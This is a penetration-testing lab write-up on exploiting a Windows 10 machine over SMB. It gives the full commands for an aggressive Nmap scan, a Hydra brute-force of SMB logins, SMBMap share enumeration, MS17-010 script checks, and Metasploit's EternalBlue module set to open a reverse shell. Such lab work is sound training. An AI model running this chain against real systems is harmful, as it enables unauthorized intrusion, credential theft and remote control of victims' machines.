

---

# **Windows 10 Penetration Testing Lab**

## **SMB Authentication & MS17-010 Exploitation**

**@ArunVedha07**

# **CONTENTS**

## **1. Exploitation Project Documentation**

1.1 Objective

1.2 Requirements

## **2. High Level Summary**

## **3. Basic Pentesting: 1 Exploitation Assignment**

3.1 Initial Analysis

3.2 Service Analysis

3.3 Vulnerability Discovery

3.4 Exploitation Steps

3.5 Screenshots & Evidence

# 1. Exploitation Project Documentation

## 1.1 Objective

The objective of this project is to perform a basic penetration-testing workflow on a vulnerable Windows 10 target machine. The goal was to identify open services, enumerate SMB authentication, discover valid user credentials, confirm the presence of the MS17-010 vulnerability, and execute a safe proof of concept exploit to obtain administrative shell access within a controlled lab environment.

## 1.2 Requirements

This assessment was performed using the following tools and configuration:

- Kali Linux – attacker machine
- Windows 10 (Vulnerable Build) – target system
- Nmap – service scanning & vulnerability checks
- Hydra – SMB brute-force authentication
- SMBMap – share enumeration & access validation
- Nmap NSE Scripts – MS17-010 vulnerability confirmation
- Metasploit Framework – exploitation and shell access
- /screenshots directory – contains visual evidence of each step

## 2. High-Level Summary

This assessment focused on identifying and exploiting a Windows 10 machine through SMB authentication and MS17-010 (EternalBlue).

The overall workflow included:

- Discovering open services using Nmap
- Identifying SMB authentication prompts
- Performing a brute force attack with Hydra to obtain valid credentials
- Enumerating SMB shares using SMBMap
- Confirming MS17-010 exposure using targeted Nmap scripts
- Executing a controlled Metasploit exploit to gain shell access
- Validating successful compromise with administrative commands

The project demonstrates a full, end-to-end exploitation chain and highlights practical skills in enumeration, credential attacks, vulnerability identification, and post-exploitation techniques , all performed safely inside a lab environment.

# 3. Windows 10 SMB Exploitation Assignment

## 3.1 Initial Analysis

The assessment began with an aggressive Nmap scan to identify active services on the Windows 10 target.

```
nmap <target_IP> -A
```

Key findings:

- SMB service detected on port 445
- Additional service fingerprinting confirmed a Windows-based environment
- Version detection indicated potential SMB-related vulnerabilities
- Enumerated ports suggested the system may allow authentication-based enumeration

## 3.2 Service Analysis

Focused enumeration was performed on the SMB service to identify potential access points and misconfigurations.

```
hydra -L /root/username.txt -P /root/password.txt smb://<target_IP> -V  
smbmap -H <target_IP> -u username -p password  
find / -name *.nse | grep smb  
nmap <target_IP> -p 445 -sV --script smb-vuln*
```

Results suggested:

- SMB authentication attempts were partially successful (indicating username validity or weak password policies)
- Share enumeration revealed accessible or misconfigured SMB shares
- The SMB version detected may be affected by known vulnerabilities
- NSE results indicated possible exposure to legacy SMB flaws

### 3.3 Vulnerability Discovery

During service enumeration, the SMB service behavior matched known indicators of the MS17-010 (EternalBlue) vulnerability. The target system responded in a way consistent with systems running outdated SMBv1, and the vulnerability scripts confirmed it as likely exploitable.

Key points:

- SMBv1 was detected on port 445
- Enumeration results indicated the system may be affected by MS17-010
- The vulnerability provides a remote code execution path

### 3.4 Exploitation Steps

The MS17-010 vulnerability was exploited using the Metasploit Framework. After identifying the system as a Windows 10 host running a vulnerable SMB service, the EternalBlue module was selected:

- `exploit/windows/smb/ms17_010_eternalblue`

The exploit was initially tested with the default payload and authenticated options and this payload successfully executed and provided shell access on the target machine.

```
msfconsole
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
options
set RHOSTS <target_IP>
set LHOST <attack_IP>
set LPORT 4567
set SMBUSER forensic
set SMBPASS admin
exploit
```

### 3.5 Screenshots & Evidence

The following figures provide visual evidence of the enumeration, authentication brute-force, vulnerability confirmation, and successful exploitation of the target Windows 10 system:

- 01: Initial Nmap scan identifying open ports, including SMB on port 445.
- 02: Hydra brute force attempt running with username and password lists.
- 03: Successful Hydra result revealing valid SMB credentials.

04: SMBMap execution using discovered credentials, showing accessible shares (admin\$, c\$, ipc\$).

05: Nmap SMB vulnerability scripts confirming MS17-010 exposure.

06: Metasploit module selection for EternalBlue

07: Initial exploit attempt and option settings, Final exploit execution displaying session output and basic system information, confirming the payload executed successfully on the target machine.

All screenshots are stored in the /screenshots directory as supporting documentation for the exploitation workflow.